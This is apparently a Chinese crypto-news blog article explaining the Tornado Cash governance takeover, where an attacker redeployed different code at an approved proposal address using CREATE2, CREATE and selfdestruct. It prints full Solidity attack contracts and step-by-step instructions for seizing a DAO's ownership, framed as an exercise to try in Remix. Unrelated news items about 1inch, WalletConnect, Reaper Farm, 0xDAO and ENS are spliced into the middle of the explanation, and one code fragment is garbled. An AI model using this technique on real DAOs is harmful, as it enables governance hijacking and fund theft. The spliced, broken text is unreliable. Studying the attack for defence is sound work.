大概兩周前(5 月 20 日),知名混幣協議 Tornado Cash 遭受到治理攻擊,黑客獲取到了Tornado Cash的治理合約的控制權(Owner)。
攻擊過程是這樣的:攻擊者先提交了一個“看起來正常”的提案, 待提案通過之后, 銷毀了提案要執行的合約地址, 并在該地址上重新創建了一個攻擊合約。
攻擊過程可以查看 SharkTeam 的 Tornado.Cash提案攻擊原理分析。
這里攻擊的關鍵是在同一個地址上部署了不同的合約, 這是如何實現的呢?
EVM 中有兩個操作碼用來創建合約:CREATE 與 CREATE2 。
當使用 new Token() 使用的是 CREATE 操作碼 , 創建的合約地址計算函數為:
address tokenAddr = bytes20(keccak256(senderAddress, nonce))創建的合約地址是通過創建者地址 + 創建者Nonce(創建合約的數量)來確定的, 由于 Nonce 總是逐步遞增的, 當 Nonce 增加時,創建的合約地址總是是不同的。
當添加一個salt時 new Token{salt: bytes32(。() ,則使用的是 CREATE2 操作碼 , 創建的合約地址計算函數為:
1inch Network:已向解析器激勵計劃發放超150萬枚INCH:2月12日消息,DEX聚合器1inch Network在社交媒體發布項目數據更新,截止目前已向解析器激勵計劃發放1,507,992 INCH代幣,按照當前價格計算超過80萬美元。1inch Network于1月底啟動解析器激勵計劃代幣發放,總計為1000萬枚INCH。
此外,1inch Network還公布了當前主流鏈上數據,按交易額排名:以太坊(2406億美元)、BNB(326億美元)、Polygon(181億美元)、Avalanche(33億美元)、Arbitrum(32億美元)、Optimism(16億美元)、Fantom(7.291億美元)、Gnosis(1.92億美元)。[2023/2/12 12:02:19]
address tokenAddr = bytes20(keccak256(0xFF, senderAddress, salt, bytecode))創建的合約地址是 創建者地址 + 自定義的鹽 + 要部署的智能合約的字節碼, 因此 只有相同字節碼 和 使用相同的鹽值,才可以部署到同一個合約地址上。
那么如何才能在同一地址如何部署不用的合約?
攻擊者結合使用 Create2 和 Create 來創建合約, 如圖:
WalletConnect 發布錢包開源解決方案 Web3Modal v2.0 版本,新增 ENS 域名解析等功能:9月17日消息,Web3 基礎設施 WalletConnect 發布錢包開源解決方案Web3Modal v2.0版本,新功能包括可自定義的UI、支持上百個錢包、最終用戶登陸、可定制的條款和條件、ENS域名解析,未來幾周內也計劃添加和增強更多功能,包括支持React和Vanilla等多種框架、為賬戶地址和實時余額等功能預建組件、支持非EVM鏈等。[2022/9/17 7:02:59]
代碼參考自:https://solidity-by-example.org/hacks/deploy-different-contracts-same-address/
先用 Create2 部署一個合約 Deployer , 在 Deployer 使用 Create 創建目標合約 Proposal(用于提案使用)。 Deployer 和 Proposal 合約中均有自毀實現(selfdestruct)。
在提案通過后,攻擊者把 Deployer 和 Proposal 合約銷毀,然后重新用相同的slat創建 Deployer , Deployer 字節碼不變,slat 也相同,因此會得到一個和之前相同的 Deployer 合約地址, 但此時 Deployer 合約的狀態被清空了, nonce 從 0 開始,因此可以使用該 nonce 創建另一個合約Attack。
安全團隊:Reaper Farm項目遭到攻擊事件解析,項目方損失約170萬美元:據成都鏈安“鏈必應-區塊鏈安全態勢感知平臺”安全輿情監控數據顯示,Reaper Farm項目遭到黑客攻擊,成都鏈安安全團隊發現由于_withdraw中owner地址可控且未作任何訪問控制,導致調用withdraw或redeem函數可提取任意用戶資產。攻擊者(0x5636e55e4a72299a0f194c001841e2ce75bb527a)利用攻擊合約(0x8162a5e187128565ace634e76fdd083cb04d0145)通過漏洞合約(0xcda5dea176f2df95082f4dadb96255bdb2bc7c7d)提取用戶資金,累計獲利62ETH,160萬 DAI,約價值170萬美元,目前攻擊者(0x2c177d20B1b1d68Cc85D3215904A7BB6629Ca954)已通過跨鏈將所有獲利資金轉入Tornado.Cash,成都鏈安鏈必追平臺將對被盜資金進行實時監控和追蹤。[2022/8/2 2:54:19]
此代碼來自:https://solidity-by-example.org/hacks/deploy-different-contracts-same-address/
// SPDX-License-Identifier: MITpragma solidity ^0.8.17;contract DAO { struct Proposal { address target; bool approved; bool executed; } address public owner = msg.sender; Proposal[] public proposals; function approve(address target) external { require(msg.sender == owner, "not authorized"); proposals.push(Proposal({target: target, approved: true, executed: false})); } function execute(uint256 proposalId) external payable { Proposal storage proposal = proposals[proposalId]; require(proposal.approved, "not approved"); require(!proposal.executed, "executed"); proposal.executed = true; (bool ok, ) = proposal.target.delegatecall( abi.encodeWithSignature("executeProposal()") ); require(ok, "delegatecall failed"); }}contract Proposal { event Log(string message); function executeProposal() external { emit Log("Excuted code approved by DAO"); } function emergencyStop() external { selfdestruct(payable(address(0))); }}contract Attack { event Log(string message); address public owner; function executeProposal() external { emit Log("Excuted code not approved by DAO :)"); // For example - set DAO's owner to attacker owner = msg.sender; }}contract DeployerDeployer { event Log(address addr); function deploy() external { bytes32 salt = keccak256(abi.encode(uint(123))); address addr = address(new Deployer{salt: salt}()); emit Log(addr); }}contract Deployer { event Log(address addr); function deployProposal() external { address addr = address(new Proposal()); emit Log(addr); } function deployAttack() external { address addr = address(new Attack()); emit Log(addr); } function kill() external { selfdestruct(payable(address(0))); }}大家可以使用該代碼自己在 Remix 中演練一下。
Cobo區塊鏈安全團隊公開0xDAO潛在盜幣漏洞發現過程及技術細節解析:4月2日消息,0xDAO v2原計劃上線前的幾個小時,Cobo區塊鏈安全團隊啟動對該項目的DaaS投前例行安全評估工作,隨后在github開源的項目代碼中發現了一個嚴重的安全漏洞。經評估,如果 0xDAO v2此時繼續上線,該漏洞預計會造成數億美金的資產損失。Cobo區塊鏈安全團隊立即啟動應急預案,快速通過多個渠道聯系到0xDAO項目方,提交該漏洞的完整攻擊流程,緊急叫停了項目上線,隨后協助0xDAO項目方對該漏洞進行了修復。
日前,0xDAO官方發布推文向Cobo區塊鏈安全團隊表示了感謝,并且表示會按照嚴重漏洞級別給予Cobo區塊鏈安全團隊漏洞賞金獎勵。[2022/4/2 14:00:31]
首先部署 DeployerDeployer , 調用 DeployerDeployer.deploy() 部署 Deployer , 然后調用 Deployer.deployProposal() 部署 Proposal 。
拿到 Proposal 提案合約地址后, 向 DAO 發起提案。
分別調用 Deployer.kill 和 Proposal.emergencyStop 銷毀掉 Deployer 和 Proposal
再次調用 DeployerDeployer.deploy() 部署 Deployer , 調用 Deployer.deployAttack() 部署 Attack , Attack 將和之前的 Proposal 一致。
ENS開發負責人:以太坊已支持CCIP讀取與ENS通配符解析解決方案:3月14日,ENS開發負責人Nick Johnson在推特上表示,以太坊已支持CCIP讀取與ENS通配符解析解決方案。據悉,跨鏈互操作協議(CCIP)為ENS采用的跨鏈解決方案,旨在支持在二層網絡上發行鏈上的域名。[2022/3/14 13:55:55]
執行 DAO.execute 時,攻擊完成 獲取到了 DAO 的 Owner 權限。
區塊律動BlockBeats
曼昆區塊鏈法律
Foresight News
GWEI Research
吳說區塊鏈
西柚yoga
ETH中文
金色早8點
金色財經 子木
ABCDE
0xAyA
香港在成為Crypto和區塊鏈技術的樞紐方面又邁出了重要一步。根據最近的一份聲明,香港政府宣布成立一個名為“Web3發展工作組”的小組,致力于推動Web3的發展特別是其道德發展.
1900/1/1 0:00:00作者:西柚,ChainCatcher近日,三箭資本創始人Su Zhu等人創辦的加密債權交易平臺OPNX(Open Exchange)的交易量上漲、平臺幣OX價格暴漲等眾多利好消息.
1900/1/1 0:00:00一、項目簡介 Inverse Finance是基于以太坊的一款CDP借貸產品,通過抵押加密貨幣借出穩定幣DOLA。該項目成立于2020年,曾被YFI創始人AC推薦而受到市場關注.
1900/1/1 0:00:00金色財經記者 Jessy近日,著名3A游戲公司育碧宣布其將在Oasys 區塊鏈上推出鏈游 Champions Tactics。根據目前該游戲只發布的游戲先導預告片.
1900/1/1 0:00:00信息這個概念最近的發明的現代理念。盡管人類創造和使用信息技術(如書寫、印刷和電報)已有數百年或數千年的歷史,但直到上個世紀,我們才清楚地闡明所有這些事物的共同點,并意識到它們可以被理解作為一個類.
1900/1/1 0:00:00香港發行自身貨幣的穩定幣,不僅有助于鞏固香港的區塊鏈領導地位,也可以推動數碼港元的進步,提升交易效能、減少交易成本、改進現行支付系統,進一步強化香港的金融科技實力.
1900/1/1 0:00:00